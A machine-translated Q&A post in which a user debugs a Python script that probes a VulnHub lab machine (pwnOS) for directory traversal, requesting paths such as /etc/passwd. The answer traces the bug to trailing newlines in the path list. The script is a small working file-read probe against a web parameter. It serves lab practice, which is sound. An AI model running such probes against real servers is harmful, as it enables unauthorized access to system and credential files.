检查返回的网页中是否包含字符串

时间:2017-12-01 09:28:16

标签: python python-requests contains

脚本

下面的简单脚本是一个检查目录遍历漏洞的脚本。例如,它会检查以下文件:

http://192.168.152.152/index1.php?help=true&connect=的/ etc /主机 http://192.168.152.152/index1.php?help=true&connect= / etc / passwd中

如果文件不存在,则网络服务器返回"无法打开的流"错误。

import requests

def checkfile(file):
        url = 'http://192.168.152.152/index1.php?help=true&connect=%s'%(file)
        r = requests.get(url)
        **if "failed" not in (r.text):**
                status = "[OK]"
                return status
        else:
                status = "[FAILED]"
                return status

with open('files', 'r') as f:
        for file in f:
                result = checkfile(file)
                print  "File %s %s" %(file, result.strip())

我的问题

即使该文件存在且没有"失败"抛出错误信息,我的脚本总是返回" [FAILED]"。 r.text包含来自weserver(html页面)的完整响应。谁可以帮忙?

聚苯乙烯。这是法律安全挑战(https://www.vulnhub.com/entry/pwnos-10,33/

的一部分

1 个答案:

答案 0 :(得分:0)

剧本很好。通过Wireshark,我看到了我做错了什么。每个文件后面都有一个空格:

{# ... #}

所以什么时候剥离它可以正常工作。

GET /index1.php?help=true&connect=/etc/passwd%0A <-----%A0 = space